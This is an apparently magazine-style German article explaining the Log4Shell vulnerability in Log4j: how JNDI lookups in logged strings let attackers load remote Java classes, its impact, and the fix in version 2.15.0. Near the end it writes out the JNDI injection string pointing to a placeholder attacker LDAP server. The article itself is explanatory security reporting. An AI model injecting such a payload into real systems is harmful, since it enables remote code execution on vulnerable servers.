© Andriy Popov / 123RF.com

Eine Zero-Day-Lücke im beliebten Logging-Framework Log4j schlug Ende 2021 hohe Wellen: Zahlreiche kommerzielle Dienste waren betroffen, und der Angreifer konnte beliebige Befehle auf gekaperten Systemen ausführen.

Bei Log4j handelt es sich um ein Framework zum Loggen von Meldungen in Java-Applikationen. Es hat sich zu einem De-facto-Standard entwickelt, viele Anwendungen setzen es ein. Log4j gilt sogar als Vorreiter für Logging-Frameworks anderer Programmiersprachen, etwa für Log4cxx für C++, Log4Net für .NET oder Log4php für PHP.

Statt Fehler und Infomeldungen auf die Standardausgabe zu schicken, leitet Log4j die Meldungen über Logger an ein gewähltes Protokollierungssystem weiter. Dabei berücksichtigt das Framework bei Bedarf die Wichtigkeit der Meldung anhand der Loglevel »ALL«, »TRACE«, »DEBUG«, »INFO«, »WARN«, »ERROR«, »FATAL« und »OFF«. Das Filtern und die Art der Ausgabe lassen sich zur Laufzeit konfigurieren. Log4j ist Teil des Logging-Projekts der Apache Software Foundation und steht unter der Apache-Lizenz 2.0.

Eine Zero-Day-Lücke [1] in dieser weitverbreiteten Java-Bibliothek sorgte Ende 2021 weltweit für Aufsehen. Die Schwachstelle wurde Anfang Dezember erstmals bekannt. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) rief die höchste Warnstufe aus, da ein entfernter Angreifer über die Schwachstelle auf einfache Weise beliebige Befehle auf den betroffenen Systemen ausführen kann. Zahlreiche kommerzielle Dienste waren von der Sicherheitslücke direkt betroffen, darunter Amazon Web Services, Cloudflare und iCloud.

Das Problem tritt im Zusammenhang mit dem Java Naming and Directory Interface (JNDI) auf. Diese Java-API bietet eine Schnittstelle zum Lightweight Directory Access Protocol (LDAP). Das Log4j-Framework lässt in aufgezeichneten Nachrichten auch Format-Strings zu, die via JNDI auf externe Informationen und Ressourcen zugreifen können. Zudem kann ein entfernter Anwender in den meisten Log4j-Applikationen direkten Einfluss auf die vom System protokollierten Strings nehmen. So darf er unter anderem bestimmte benutzerdefinierte Zeichenketten in die Log-Nachrichten einbauen.

Dies nutzen die Angreifer aus, um eine spezielle JNDI-Referenz in die Log-Nachricht einzufügen, die auf einen von ihnen kontrollierten LDAP-Server verweist. Der stellt dann eine bösartige Java-Klasse bereit, die auf dem betroffenen System die vom Angreifer gewünschten Befehle ausführt. Die Schwachstelle tritt also auf, weil die Anwendung Benutzereingaben nicht richtig verarbeitet beziehungsweise filtert. Das macht alle Programme verwundbar, die benutzerdefinierte Zeichenketten direkt und ungefiltert an Log4j weitergeben. Ein Angreifer muss demnach lediglich einen von ihm kontrollierten Server angeben, um einen Server über das Log4j-Logging zu kapern.

Die Schwachstelle bekam den Namen Log4Shell und existiert im Log4j-Framework bereits seit 2013. Besonders kritisch an der Log4Shell-Schwachstelle ist die Tatsache, dass sich der Fehler verhältnismäßig leicht für eine Attacke ausnutzen lässt. Der Angreifer kann den entsprechenden String beispielsweise über geschickt konstruierte HTTP-Anfragen einschleusen, die viele Systeme via Log4j protokollieren.

Der Angreifer muss für die Attacke den String »${jndi:ldap://attackerserver/exploit}« in die Log-Datei schreiben. Er weist das System an, den LDAP-Server »attackerserver« zu kontaktieren, um von dort das »exploit«-Java-Objekt zu beziehen. JNDI führt dann die so erhaltene Java-Klasse und damit die vom Angreifer gewünschten Befehle aus. Ein Proof-of-Concept-Exploit der Schwachstelle wurde auf Github veröffentlicht und auf Twitter verbreitet [2]. Auch Sicherheitsscanner für die Lücke gibt es bereits. Mit Version 2.15.0 haben die Log4j-Entwickler die Schwachstelle behoben. (jcb)